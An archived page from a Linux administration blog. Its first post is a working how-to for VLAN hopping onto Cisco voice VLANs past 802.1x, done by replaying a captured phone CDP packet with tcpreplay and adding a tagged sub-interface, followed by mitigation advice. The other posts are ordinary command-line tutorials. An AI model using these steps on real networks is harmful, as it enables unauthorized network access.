SavvyAdmin.com » Linux

VLAN Hopping on Cisco Voice-enabled Switch Ports

gmendoza — Wed, 16 Jun 2010 03:33:31 +0000

There’s a number of reasons why someone would want to gain unauthorized access to your network’s voice VLAN, and as you can guess, none of them are any good. By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer’s NIC to use 802.1q tagged packets, you can gain full network access on a Cisco switch port configured with a Voice VLAN. Yes… even those protected by 802.1x authentication. In the following how-to, we’ll demonstrate how exploit this behavior using Linux and freely available open source software.

Prerequisites
First, install two packages from your repositories. The vlan package adds a kernel module required for 802.1q VLAN tagging and the vconfig tool used to configure VLAN sub-interfaces. tcpreplay is a packet injection utility that we will use to replay CDP packets into the network from a pcap file.

sudo apt-get install vlan tcpreplay sudo modprobe 8021q

The second command loads the 8021q kernel module. If you want the module loaded at boot-up, remember to add it to /etc/modules or the appropriate file for your GNU/Linux distribution.

Discover Voice-enabled Switch Port Information

Plug into the switched network, bypassing the VoIP phone, and perform a packet capture to inspect the switches CDP announcements. If the switch port is configured with a Voice VLAN, the configured VLAN identifier will be advertised. From our output below, the switch says we are plugged into port number FastEthernet0/24 and the Voice VLAN number is 64.

sudo tcpdump -s 0 -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc 17:17:13.215645 CDPv2, ttl: 180s, checksum: 692 (unverified), length 404 Device-ID (0x01), length: 26 bytes: 'labswitch.example.com' Version String (0x05), length: 186 bytes: Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(50)SE1, RELEASE SOFTWARE (fc2) Copyright (c) 1986-2009 by Cisco Systems, Inc. Compiled Mon 06-Apr-09 08:36 by amvarma Platform (0x06), length: 21 bytes: 'cisco WS-C2960-24PC-L' Address (0x02), length: 13 bytes: IPv4 (1) 10.1.1.1 Port-ID (0x03), length: 16 bytes: 'FastEthernet0/24' Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP snooping Protocol-Hello option (0x08), length: 32 bytes: VTP Management Domain (0x09), length: 9 bytes: 'LABVTP' Native VLAN ID (0x0a), length: 2 bytes: 1 Duplex (0x0b), length: 1 byte: full ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 64 AVVID trust bitmap (0x12), length: 1 byte: 0x00 AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00 Management Addresses (0x16), length: 13 bytes: IPv4 (1) 10.1.1.1 unknown field type (0x1a), length: 12 bytes: 0x0000: 0000 0001 0000 0000 ffff ffff

Capture a Sample VoIP phone CDP Packet

Plug the Cisco VoIP phone back into the switch port and wait for it to come back online. Plug your laptop back into the data port of the phone in your typical daisy-chain topology. Use tcpdump again to capture a single CDP packet, saving it to a capture file. If you’re plugged into the phone, the only CDP packets you should see are those sent by the phone. These CDP packets should be neatly constructed with all of the appropriate voice VLAN values. From the switches perspective (and network administrators monitoring CDP tables), it will look exactly as if a phone is connected to the port, down to the phone model and serial number. ;-)

The following tcpdump filter looks for the CDP destination MAC address, stops after one packet, and saves it to a file called cdp-packet.cap. You will use this CDP packet capture file in your replay attack.

sudo tcpdump -s 0 -w cdp-packet.cap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 1 packets captured 1 packets received by filter 0 packets dropped by kernel

Verify the CDP packet details by reading the capture file with tcpdump. The following shows that everything is in order, including the VoIP VLAN Request for VLAN 64, which highlighted below.

sudo tcpdump -vr cdp-packet.cap reading from file cdp-packet.cap, link-type EN10MB (Ethernet) 09:44:42.263551 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125 Device-ID (0x01), length: 15 bytes: 'SEP0015626A51E9' Address (0x02), length: 13 bytes: IPv4 (1) 10.1.64.10 Port-ID (0x03), length: 6 bytes: 'Port 2' Capability (0x04), length: 4 bytes: (0x00000490): L3 capable Version String (0x05), length: 12 bytes: P00308010100 Platform (0x06), length: 19 bytes: 'Cisco IP Phone 7940' Native VLAN ID (0x0a), length: 2 bytes: 1 Duplex (0x0b), length: 1 byte: full ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 64 AVVID trust bitmap (0x12), length: 1 byte: 0x00 AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00

Replay CDP Packets to Spoof a Cisco VoIP Phone

You’ll want to unplug the phone from the switch and plug your computer into the switch port directly. Using the tcpreplay command, you can read and inject the contents of the packet capture file from the previous step, effectively spoofing the Cisco VoIP phone. When the switch receives this packet, the voice VLAN will be available to use.

sudo tcpreplay -i eth0 cdp-packet.cap Actual: 1 packets (147 bytes) sent in 0.06 seconds Rated: 2450.0 bps, 0.02 Mbps, 16.67 pps Statistics for network device: eth0 Attempted packets: 1 Successful packets: 1 Failed packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0

Once the Voice VLAN is enabled, you will only have a limited amount of time to use it. A typical Cisco phone will send a CDP packet every 60 seconds, so you can simulate this behavior by running your command in a timed loop. I prefer to use the watch command, and leave it running in a terminal until it’s no longer needed. Using the command below, the CDP packet will be replayed every 60 seconds.

sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap"

Access Voice VLAN with 802.1q Sub-interface

In order for you to access the voice VLAN, you must add a sub-interface for eth0 using the vconfig command. The following example uses vconfig to add a sub-interface that tags packets to access VLAN 64. The sub-interface will be named eth0.64 as shown below.

sudo vconfig add eth0 64 Added VLAN with VID == 64 to IF -:eth0:-

ifconfig eth0.64 eth0.64 Link encap:Ethernet HWaddr 00:26:b9:bc:5b:68 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:95 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:4370 (4.3 KB) TX bytes:0 (0.0 B)

At this point you can access the VLAN in any fashion you see fit. For example, you can obtain an IP address via DHCP and test communication by pinging your default gateway as shown below.

sudo dhclient3 eth0.64 Listening on LPF/eth0.64/00:26:b9:bc:5b:68 Sending on LPF/eth0.64/00:26:b9:bc:5b:68 Sending on Socket/fallback DHCPDISCOVER on eth0.64 to 255.255.255.255 port 67 interval 3 DHCPOFFER of 10.1.64.11 from 10.1.64.5 DHCPREQUEST of 10.1.64.11 on eth0.64 to 255.255.255.255 port 67 DHCPACK of 10.1.64.11 from 10.1.64.5 bound to 10.1.64.11 -- renewal in 35707 seconds.

ping -c 4 10.1.64.1 PING 10.1.64.1 (10.1.64.1) 56(84) bytes of data. 64 bytes from 10.1.64.1: icmp_seq=1 ttl=64 time=2.88 ms 64 bytes from 10.1.64.1: icmp_seq=2 ttl=64 time=2.85 ms 64 bytes from 10.1.64.1: icmp_seq=3 ttl=64 time=2.84 ms 64 bytes from 10.1.64.1: icmp_seq=4 ttl=64 time=2.30 ms

--- 10.1.64.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3005ms rtt min/avg/max/mdev = 2.303/2.721/2.888/0.244 ms

Mitigation… Aww, Bummer…

Unfortunately, there is currently no way to prevent this method of unauthorized voice VLAN access. Remember, this “vulnerability” is really just a limitation of the voice VLAN negotiation process. It’s not new (see the following Cisco security bulletin from 2005), but I suspect it will become a bigger problem as more organizations begin to deploy VoIP with little thought going into layered defenses and access protection.

However, for network administrators that wish to limit the threat associated to unauthorized voice VLAN access, consider the following recommendations.

1. Enable security features that prevent layer-2/3 man-in-the-middle and other nefarious attacks. DHCP Snooping, Dynamic ARP Inspection, Port-Security, and IP Source Guard will help in keeping attackers from intercepting voice traffic, and a number of other threats associated with layer-2/3 spoofing.

2. Add VLAN access lists and Layer-3 boundary ACL’s limiting clients on the Voice VLAN to access only resources required for VoIP functionality. By limiting voice VLAN communication to the minimum required protocols and port numbers, you will greatly reduce the attack surface for the rest of your network.

3. Apply QoS policies that limit the effects of attempted Denial of Service attacks against the VoIP infrastructure. Auto QoS and even simple Storm Control features can help limit traffic, and actively notify administrators of abnormal traffic patterns.

4. Protect your IP telephony system at the application layer by requiring VoIP phone authentication and encryption.

There are some really cool projects dedicated to exploiting this vulnerability and similar weaknesses by other manufacturers. One such tool called VoIP Hopper completely automates the above process. It even comes with it’s own built-in DHCP client, and is kind enough to automatically generate pre-constructed CDP packets for you.

I hope you have found this tutorial useful. Feel free to add comments, suggestions, or drop me an email for confidential questions!

Share and Enjoy:

GnuPG Context Menu Options for Gnome Nautilus

gmendoza — Thu, 10 Dec 2009 04:43:57 +0000

If you’re running the Gnome desktop environment and would like to have GnuPG context menu options in Nautilus to encrypt, decrypt, and digitally sign files, simply install the Seahorse plugins package available in your favorite Linux distribution repositories. If using Debian or Ubuntu, it’s as easy as an apt-get install.

sudo apt-get install seahorse-plugins

After installing the package, go to System -> Preferences -> Encryption and Keyrings, select a default key to use and decide whether you want to include your own key by default when encrypting files. This is sometimes a good idea if you ever want to open a file you encrypted to someone else. Below are some screenshots of the Seahorse preferences.

Here are some screen shots of the context menu options that appear when you right click on files in Nautilus.

When you choose to encrypt a file, you can select as many public keys as you’d like. Here’s an example of the dialogue.

Using PGP has never been easier. There are still some improvements to the UI I would like to see completed, but overall the most important features are there.

Share and Enjoy:

Download PGP Keys with Apt-key

gmendoza — Tue, 01 Dec 2009 23:46:11 +0000

When adding third party software repositories to your APT sources list, you can easily download a referenced PGP key to your APT keyring using the advanced options of the apt-key utility.

For example, if you are adding a third party repository that references the PGP key ID of 6E80C6B7, the following will work as long as the key has been uploaded to a keyserver.

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 6E80C6B7 gpg: requesting key 6E80C6B7 from hkp server keyserver.ubuntu.com gpg: key 6E80C6B7: public key "Launchpad PPA for Banshee Team" imported gpg: no ultimately trusted keys found gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1)

Typically, instructions on adding repositories give readers a two or three step process that involves apt-key reading a key from a text file or piped from a wget command. The above just cuts all that nonsense out.

The apt-key man page is a bit bare, but there are a few other options you might find interesting that are only mentioned in the commands help output.

apt-key Usage: apt-key [command] [arguments]

Manage apt's list of trusted keys

apt-key add - add the key contained in ('-' for stdin) apt-key del - remove the key apt-key export - output the key apt-key exportall - output all trusted keys apt-key update - update keys using the keyring package apt-key net-update - update keys using the network apt-key list - list keys apt-key finger - list fingerprints apt-key adv - pass advanced options to gpg (download key)

Share and Enjoy:

Quickly Identify Video File Attributes

gmendoza — Tue, 03 Nov 2009 22:59:12 +0000

If you want to gain quick insight into the basic properties of a video file from the Linux command line, there’s a few really easy methods. The information you might be interested in are audio and video codecs, resolution, frame rates, bitrates, etc.

Using mplayer, you can see some basic information about a video file. For example, the following video is using the WMV3 video codec at the resolution of 1280×720 (720p), the bitrate of 3000 kbps, etc.

mplayer video.wmv -vo null -ao null -frames 0 2>&1 /dev/null | egrep "(VIDEO|AUDIO)" VIDEO: [WMV3] 1280x720 24bpp 1000.000 fps 3000.0 kbps (366.2 kbyte/s) AUDIO: 44100 Hz, 2 ch, s16le, 96.0 kbit/6.80% (ratio: 12003->176400)

The audio rate is shown to be 44100 Hz using 2-Channel stereo, but the codec is not listed. You can get additional information with the -identify option.

mplayer video.wmv -identify -vo null -ao null -frames 0 2>&1 /dev/null | egrep "(^ID|VIDEO|AUDIO)" ID_AUDIO_ID=1 ID_VIDEO_ID=2 VIDEO: [WMV3] 1280x720 24bpp 1000.000 fps 3000.0 kbps (366.2 kbyte/s) ID_CLIP_INFO_NAME0=name ID_CLIP_INFO_VALUE0= ID_CLIP_INFO_NAME1=author ID_CLIP_INFO_VALUE1= ID_CLIP_INFO_NAME2=copyright ID_CLIP_INFO_VALUE2= ID_CLIP_INFO_NAME3=comments ID_CLIP_INFO_VALUE3= ID_CLIP_INFO_N=4 ID_FILENAME=video.wmv ID_DEMUXER=asf ID_VIDEO_FORMAT=WMV3 ID_VIDEO_BITRATE=3000000 ID_VIDEO_WIDTH=1280 ID_VIDEO_HEIGHT=720 ID_VIDEO_FPS=1000.000 ID_VIDEO_ASPECT=1.7778 ID_AUDIO_FORMAT=353 ID_AUDIO_BITRATE=0 ID_AUDIO_RATE=0 ID_AUDIO_NCH=0 ID_LENGTH=2116.00 ID_VIDEO_ASPECT=1.7778 ID_VIDEO_CODEC=wmv9dmo AUDIO: 44100 Hz, 2 ch, s16le, 96.0 kbit/6.80% (ratio: 12003->176400) ID_AUDIO_BITRATE=96024 ID_AUDIO_RATE=44100 ID_AUDIO_NCH=2 ID_AUDIO_CODEC=ffwmav2

Another great tool for identifying video attributes is idvid. idvid comes with the tovid package, so be sure to install it from your repository. It is a bit slow, but the output is very clean and easy to interpret.

idvid video.wmv -------------------------------- idvid Video identification script Part of the tovid suite, version 0.31
http://www.tovid.org
-------------------------------- Analyzing file: 'video.wmv'. This may take several minutes... ========================================================= File: video.wmv Width: 1280 pixels Height: 720 pixels Aspect ratio: 1.77:1 Frames: 63352 Duration: 00:35:13 hours/mins/secs Framerate: 1000.000 frames per second Video format: WMV3 Video bitrate: 3000000 bits per second --------------------------- Audio track 1 (Stream 0.0, AID 0): --------------------------- Codec: wmav2 Bitrate: 0000 bits per second Sampling rate: 44100 Hz ========================================================= Audio is compliant with the following formats: Not compliant with (S)VCD or DVD Video is compliant with the following formats: Not compliant with (S)VCD or DVD This video does not seem to be compliant with (S)VCD or DVD standards. If you burn it to a video disc, it may not work. =========================================================

Finally, another tool that works very well is exiftool. It’s available in the libimage-exiftool-perl package. The output is also very straight forward, and easy to interpret. It’s also a lot faster than idvid because the tool only displays metadata, which in some cases can be misleading. Mplayer and tovid actually probe the video, providing very accurate information at the cost of speed.

exiftool video.wmv ExifTool Version Number : 7.30 File Name : video.wmv Directory : . File Modification Date/Time : 2009:04:20 09:21:58 File Type : WMV MIME Type : video/x-ms-wmv File ID : 12341234-1234-1234-1234-123412341234 File Size : 823200182 Creation Date : 2009:03:31 02:52:55Z Data Packets : 102833 Play Duration : 35:16 Send Duration : 35:13 Preroll : 3000 Flags : 2 Min Packet Size : 8000 Max Packet Size : 8000 Max Bitrate : 3122812 Is VBR : False Audio Codec Name : Windows Media Audio 9.2 Audio Codec Description : 96 kbps, 44 kHz, stereo 1-pass CBR Video Codec Name : Windows Media Video 9 Video Codec Description : Professional Audio Codec ID : Windows Media Audio V2 V7 V8 V9 / DivX audio (WMA) / Alex AC3 Audio Audio Channels : 2 Audio Sample Rate : 44100 Stream Type : Video Error Correction Type : No Error Correction Time Offset : 0 s Stream Number : 2 Image Width : 1280 Image Height : 720 Title : Author : Copyright : Description : Rating : Image Size : 1280x720

As always, comments and additional tips are welcome!

Share and Enjoy:

Add Stereo Audio Tracks to MKV Files

gmendoza — Sat, 26 Sep 2009 22:33:50 +0000

If you have Matroska Video (MKV) files encoded with AC3 Dolby Digital 5.1 or DTS audio tracks, you may want to simply extract the audio, convert it to a 2-channel stereo format like WAV, MP3 OGG, etc, and then add it back into the MKV as a separate audio track. This is useful when your media player (e.g. Western Digital Media Player WDAVN00) will not downscale the audio from a digital format like AC3 or DTS to stereo when you don’t have a receiver or TV with a built in Dolby Digital decoder. Now you’ll have the choice of either audio format depending on your technical requirements.

The great thing about the Matroska multimedia container is that you can easily manipulate these files without having to re-encode, saving lots of time. I’ll be using mkvextract to extract the AC3 audio, ffmpeg to convert ac3 to mp3, and finally mkvmerge to add and remux the new audio track to the MKV container. All of these are available to a number of platforms, but in my examples, I’m using Linux. Check out the MKVToolnix and FFMpeg websites for more info on the software.

If using Ubuntu Linux, install the relevant mkvtoolnix, mkvtoolnix-gui and ffmpeg packages.

sudo apt-get install mkvtoolnix mkvtoolnix-gui ffmpeg libavcodec-unstripped-52

To view the existing tracks of the MKV, use the mkvmerge -i option. In the following example, you see my “Cool.Video.mkv” file has an MPEG4 video in track 1, an AC3 Dolby Digital audio file in track 2, and subtitles in track 3.

mkvmerge -i Cool.Movie.mkv File 'Cool.Movie.mkv': container: Matroska Track ID 1: video (V_MPEG4/ISO/AVC) Track ID 2: audio (A_AC3) Track ID 3: subtitles (S_TEXT/UTF8)

Using mkvextract, extract the AC3 Dolby Digital audio from track 2, saving it to a file called audio.ac3.

mkvextract tracks Cool.Movie.mkv 2:audio.ac3 Extracting track 2 with the CodecID 'A_AC3' to the file 'audio.ac3'. Container format: Dolby Digital (AC3) Progress: 100%

ls -lh audio.ac3 -rw-r--r-- 1 gmendoza gmendoza 432M 2009-09-26 11:58 audio.ac3

Convert the 6-channel ac3 file to a 2-channel stereo MP3 using ffmpeg. If you prefer a higher audio bitrate, adjust the -ab value as desired. e.g. 256, 384, etc, and adjust the audio rate to your liking as well.

ffmpeg -i audio.ac3 -acodec libmp3lame -ab 160k -ac 2 audio.mp3 [output omitted for brevity]

ls -lh audio.* -rw-r--r-- 1 gmendoza gmendoza 432M 2009-09-26 11:58 audio.ac3 -rw-r--r-- 1 gmendoza gmendoza 87M 2009-09-26 12:08 audio.mp3

To simplify things, you could actually skip the digital format extraction process by running ffmpeg against the MKV file directly.

ffmpeg -i Cool.Movie.mkv -acodec libmp3lame -ab 160k -ac 2 audio.mp3

If you prefer encoding with more advanced options, you could extract the audio as a 2-channel WAV file instead, and then process it with LAME, Oggenc, or some other encoder of your choosing. The following shows the extraction to WAV, and then conversion to various formats for fun, e.g. MP3, OGG, and FLAC.

ffmpeg -i Cool.Movie.mkv -acodec pcm_s16le -ac 2 audio.wav lame -V0 -q0 --vbr-new audio.wav audio.mp3 oggenc -q6 audio.wav flac audio.wav

Use mkvmerge to combine the original MKV with the MP3 audio track to create a new file called Cool.Movie.New.mkv. Make sure you have enough disk space for both the original and new MKV file.

mkvmerge -o Cool.Movie.New.mkv Cool.Movie.mkv audio.mp3 mkvmerge v2.4.1 ('Use Me') built on Dec 13 2008 21:03:46 'Cool.Movie.mkv': Using the Matroska demultiplexer. 'audio.mp3': Using the MP2/MP3 demultiplexer. Warning: 'audio.mp3': Skipping 32 bytes at the beginning (no valid MP3 header found). 'Cool.Movie.mkv' track 1: Using the MPEG-4 part 10 (AVC) video output module. 'Cool.Movie.mkv' track 2: Using the AC3 output module. 'Cool.Movie.mkv' track 3: Using the text subtitle output module. 'audio.mp3' track 0: Using the MPEG audio output module. The file 'Cool.Movie.New.mkv' has been opened for writing. Progress: 100% The cue entries (the index) are being written... Muxing took 270 seconds.

Verify that the audio track has been added. You can see Track ID 4 has been successfully added.

mkvmerge -i New.Cool.Movie.mkv File 'New.Cool.Movie.mkv': container: Matroska Track ID 1: video (V_MPEG4/ISO/AVC) Track ID 2: audio (A_AC3) Track ID 3: subtitles (S_TEXT/UTF8) Track ID 4: audio (A_MPEG/L3)

That’s really all there is to it. There are quite a few options available when editing MKV container files. For example, I wanted nice descriptions for my tracks since various media players will read and display them for you during menu navigation. I recommend using the mkvmerge gui application as shown in this screenshot.

It’s really just a front-end application to mkvmerge, and the following text shows the commands that were used to specify the language for each tag, re-order the audio tracks, disable subtitles by default, and give useful descriptions to each Track ID.

mkvmerge -o "Cool.Movie.New.mkv" \ --language 1:eng \ --track-name "1:Cool Movie (MPEG4)" \ --default-track 1:yes \ --display-dimensions 1:40x17 \ --language 2:eng \ --track-name "2:Dolby Digital 5.1 (AC3)" \ --default-track 2:yes \ --language 3:eng \ --track-name "3:English Subtitles" \ --default-track 3:no \ -a 2 -d 1 -s 3 Cool.Movie.mkv \ --language 0:eng \ --track-name "0:2-Channel Stereo (MP3)" \ --default-track 0:no \ -a 0 -D -S audio.mp3 \ --track-order 0:1,0:2,1:0,0:3

mkvmerge -i Cool.Movie.New.mkv File 'Cool.Movie.New.mkv': container: Matroska Track ID 1: video (V_MPEG4/ISO/AVC) Track ID 2: audio (A_AC3) Track ID 3: audio (A_MPEG/L3) Track ID 4: subtitles (S_TEXT/UTF8)

Share and Enjoy:

RAR and UNRAR from Linux CLI

gmendoza — Wed, 23 Sep 2009 18:09:48 +0000

Two great packages available to the Linux community are RAR and UNRAR. If you are already familiar with the RAR compression format, these allow you to create, modify and extract RAR archives. For those of you that appreciate the graphical compression application for Gnome called File Roller, these packages enable it to read RAR files. For more information about the RAR format, check out rarsoft.com.

To install from Ubuntu or Debian, its as simple as:

sudo apt-get install rar unrar

To list the files in a RAR archive, use the l or v option:

rar l video.rar

To decompress a RAR archive called video.rar, simply issue the command:

unrar e video.rar

The unrar package is only intended for decompression tasks. Otherwise, just use the rar command with the e option to extract the files to the current directory.

rar e video.rar

To compress a single file called video.avi, adding it to a RAR file called video.rar:

rar a video.rar video.avi

To compress a single file called video.avi, splitting it into approximately 50 Mb files:

rar a -v50000 video.rar video.avi

This by default creates archive files starting with video.part01.rar, video.part02.rar and following the sequence to completion. To use the older and better known extension sequence format of .rar, .r00, .r01, etc, use the -vn option like so:

rar a -v50000 -vn video.rar video.avi

To compress an entire directory recursively, use the -r option:

rar a -r Documents.rar Documents/

To extract the files from an archive, such that the original directory structure is also recreated, use the x command:

rar x Documents.rar

There are so many other features available to the RAR format, so be sure to check out the man pages or the packaged documentation.

man rar less /usr/share/doc/rar/rar.txt.gz

(if your version of less supports reading of compressed files)

Share and Enjoy:

Fixing Dates in Image EXIF Tag Data from Linux

gmendoza — Mon, 22 Jun 2009 06:11:51 +0000

I recently needed to organize a large number of old digital photos that had the wrong date embedded in their EXIF tag data. The camera I used many years ago would often lose track of time and would sometimes be set to the wrong year. Applications I now use to organize photos read this data and made my albums difficult to navigate. I came across a Linux command line utility called jhead that allows you to modify this information to whatever you wish, and its easy to use in scripts as well. Installing was easy, because it’s currently in most repositories, including Ubuntu’s.

To read existing EXIF tag data, simply run jhead against an image without any options. As you can see from the example below, my date is set to the year 2022.

jhead image.jpg File name : image.jpg File size : 159390 bytes File date : 2004:01:12 07:35:23 Camera make : Samsung Camera model : Digimax 200 Date/Time : 2022:02:12 04:04:17 Resolution : 800 x 600 Flash used : Yes Exposure time: 0.045 s (1/22) Aperture : f/2.8

To clear all EXIF data from the file, use the -de option. Then recreate the EXIF fields with the -mkexif option, and check the data again. Notice the new Date/Time is set to the timestamp on the file.

jhead -de image.jpg Modified: image.jpg

jhead -mkexif image.jpg Modified: image.jpg

jhead image.jpg File name : image.jpg File size : 147751 bytes File date : 2004:01:12 07:35:23 Date/Time : 2004:01:12 07:35:23 Resolution : 800 x 600

To change the entire timestamp manually, use the -ts option. Notice, there is no space between the -ts and the option. I could not trust the month and day, so I simply chaged the date to midnight on January 1, 2003.

jhead -ts2003:01:01-00:00:00 image.jpg Modified: image.jpg

jhead image.jpg File name : image.jpg File size : 147751 bytes File date : 2004:01:12 07:35:23 Date/Time : 2003:01:01 00:00:00 Resolution : 800 x 600

For many more options, check out the man page or visit the jhead site for more info.

Share and Enjoy:

File Synchronization with Unison over SSH

gmendoza — Fri, 10 Apr 2009 01:36:25 +0000

Previously, I posted on using rsync over SSH for file synchronization. While this works very well when pushing data in one direction, it’s not well suited for synchronizing modifications that are made on both sides. An excellent bidirectional utility for that type of job is Unison, which sports many of the same benefits as rsync, but has some distinct advantages for more complex synchronization scenarios.

A basic example would be to synchronize a local directory called “MyDocs” with a remote SSH server. From the following output, you can see that this directory contains four text files.

ls -ld ~/MyDocs drwxr-xr-x 2 gmendoza gmendoza 4096 2009-04-09 16:05 /home/gmendoza/MyDocs

ls -l ~/MyDocs total 12 -rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file1.txt -rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file2.txt -rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file3.txt -rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file4.txt

The first time you run Unison for this particular directory structure, both sides will create a local index and hash table. You’ll get a warning and will be prompted with a message, asking you to hit the space bar if you accept. If the root directory on the remote side does not exist yet, you’ll also be prompted to accept the changes.

unison MyDocs ssh://host2/MyDocs Contacting server... Connected [//host1//home/gmendoza/MyDocs -> //host2//home/gmendoza/MyDocs] Looking for changes Warning: No archive files were found for these roots, whose canonical names are: /home/gmendoza/MyDocs //host2//home/gmendoza/MyDocs (snipped for brevity...) Press return to continue.[] Waiting for changes from server Reconciling changes

local host2 dir ----> / [f]

Proceed with propagating updates? [] y Propagating updates

UNISON 2.27.57 started propagating changes at 16:14:30 on 09 Apr 2009 [BGN] Copying from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs [END] Copying UNISON 2.27.57 finished propagating changes at 16:14:30 on 09 Apr 2009

Saving synchronizer state Synchronization complete (1 item transferred, 0 skipped, 0 failures)

Subsequent synchronizations are shown as the following.

unison MyDocs ssh://host2/MyDocs Contacting server... Connected [//host1//home/gmendoza/MyDocs -> //host2//home/gmendoza/MyDocs] Looking for changes Waiting for changes from server Reconciling changes Nothing to do: replicas have not changed since last sync.

For the following example, I have modified file1.txt on host1, and file2.txt on host2. Both file3.txt and file4.txt have been modified on each side. The great thing about unison is that when there is a conflict, you have the opportunity to view the differences and select which direction you wish to synchronize. Pressing the “x” key displays some basic information about the files that differ. In this case, I have chosen the files with the most recent timestamp. You choose the file direction by pressing the greater and less-than symbols, “>” and “<".

unison MyDocs ssh://host2/MyDocs (snipped) local host2 changed <-?-> changed file3.txt [] x local : changed file modified on 2009-04-09 at 16:16:29 size 50 host2 : changed file modified on 2009-04-09 at 16:16:43 size 55 changed <==== changed file3.txt [] < changed <-?-> changed file4.txt [] x local : changed file modified on 2009-04-09 at 16:17:20 size 56 host2 : changed file modified on 2009-04-09 at 16:16:59 size 41 changed ====> changed file4.txt [] > changed ----> file1.txt [f] <---- changed file2.txt [f]

Proceed with propagating updates? [] y Propagating updates

UNISON 2.27.57 started propagating changes at 16:18:27 on 09 Apr 2009 [BGN] Updating file file3.txt from //host2//home/gmendoza/MyDocs to /home/gmendoza/MyDocs [BGN] Updating file file4.txt from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs [BGN] Updating file file1.txt from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs [BGN] Updating file file2.txt from //host2//home/gmendoza/MyDocs to /home/gmendoza/MyDocs [END] Updating file file3.txt [END] Updating file file2.txt [END] Updating file file4.txt [END] Updating file file1.txt UNISON 2.27.57 finished propagating changes at 16:18:27 on 09 Apr 2009

Saving synchronizer state Synchronization complete (4 items transferred, 0 skipped, 0 failures)

Unison also has a GTK front end for the graphically inclined. Be sure to check out all the documentation for a full understanding of syntax.

Share and Enjoy:

File Synchronization with Rsync over SSH

gmendoza — Tue, 07 Apr 2009 06:46:07 +0000

To quickly synchronize files between two systems, rsync is an excellent tool that not only decreases the amount of time it takes to transfer files through a data deduplication algorithm, but can also be used transparently over SSH. The beauty of running rsync over SSH is that it does not require the rsyncd server to be running before a synchronization request and the connection is both authenticated and encrypted. All that is required is for the remote host you are connecting to be running the OpenSSH server component and of course the rsync application.

I use rsync the most for synchronizing my “Music” and “Documents” folders between a number of my systems at home and at work. All of these systems have these folders in the root of my home directory.

ls -ld ~/Music ~/Documents
drwxr-xr-x 16 gmendoza gmendoza 4096 2009-04-06 23:23 /home/gmendoza/Documents
drwxr-xr-x  9 gmendoza gmendoza 4096 2009-04-06 23:23 /home/gmendoza/Music

To push my recent changes from my local system (host1) to my remote system called (host2), I use the following commands.

rsync -avPe ssh ~/Music host2:~/
rsync -avPe ssh ~/Documents host2:~/

Notice, “Music” and “Documents” are specified without a trailing “/”, e.g. “Music/” or “Documents/”. This is important, because otherwise, it would copy only the contents of the folder to the remote home directory, and not the folder itself, which is described in more detail in the rsync man page.

Instead of running the above commands twice, you can also specify multiple files all in a single line.

rsync -avPe ssh ~/Music ~/Documents host2:~/

To synchronize changes made on the remote system to my local system, just reverse the commands. Notice the periods at the end of the line, which specifies the destination as the local working directory. Also, instead of wasting space by entering the host twice, you can use standard syntax to specify ranges or sets of files. In this case, I use curly brackets to specify the two directories on the remote host that share the same parent directory should be copied to my local working directory.

rsync -avPe ssh host2:~/{Music,Documents} .

I’ll also use the “delete” option to remove any files and folders the have been removed from the source system.

rsync --delete -avPe ssh ~/Music host2:~/

By default, rsync compares files extremely fast using a “quick check” algorithm based on the file size or in the last modified time (per the rsync man page). While I was updating my Music collection, I noticed that rsync was not detecting my ID3 tag modifications. By using the “-c” option, rsync will compare files using a 128 bit MD4 checksum as a more definitive change detection method. While this will slow the process down significantly, there’s obvious accuracy benefits in using the checksum method.

rsync -acvPe ssh Music host2:~/

Also, as you may have noticed rsync is strictly a unidirectional utility. This means that it only sends or receives data in a single direction, and it will clobber or delete any file or folder with the same name in the direction your are sending the data. For a great bidirectional utility, check out unison, which I will cover in an upcoming article.

Share and Enjoy:

Line wrapping text made easy with fold

gmendoza — Tue, 07 Apr 2009 04:37:08 +0000

Line wrapping text from the command line is easy with the fold utility, which of course is provided by the Free Software Foundation. By default, the fold command will wrap text at 80 characters, but you can of course specify the width manually. I prefer using the -s option, which will break only on spaces, making sure not to break in the middle of a word.

For example, the following command will concatenate a text file to standard output, adding line breaks only at spaces or at 72 characters, whichever comes first.

fold -s -w 72 textfile.txt

This can also be useful if you want to clearsign a message with Gnupg, but wish to line wrap it beforehand.

fold -s -w 72 textfile.txt | gpg --clearsign -u user@email.com

Add redirection if you wish to output the results to a file.

fold -s -w 72 textfile.txt > newfile.txt

As mentioned here, the fmt command also provides the same primary features of fold, but is much better. Not only does it wrap long lines, but it also fills out short lines as well. There are additional options that are worth looking into. Be sure to check out the man page!

man fmt

Share and Enjoy:

Create Encrypted CD’s and DVD’s in Linux

gmendoza — Thu, 27 Nov 2008 01:17:42 +0000

When backing up data to a CD or DVD, you may find it useful to encrypt the entire disc just in case the media falls into the wrong hands. Some people may advise compressing your files within tar/gzip archive and use PGP to encrypt the data, burning the resulting data to disc. The challenge, however, is how easy it is to work with the data after the burn process. You are typically required to decrypt and extract the archive to your hard disk if you wish to access the files within.

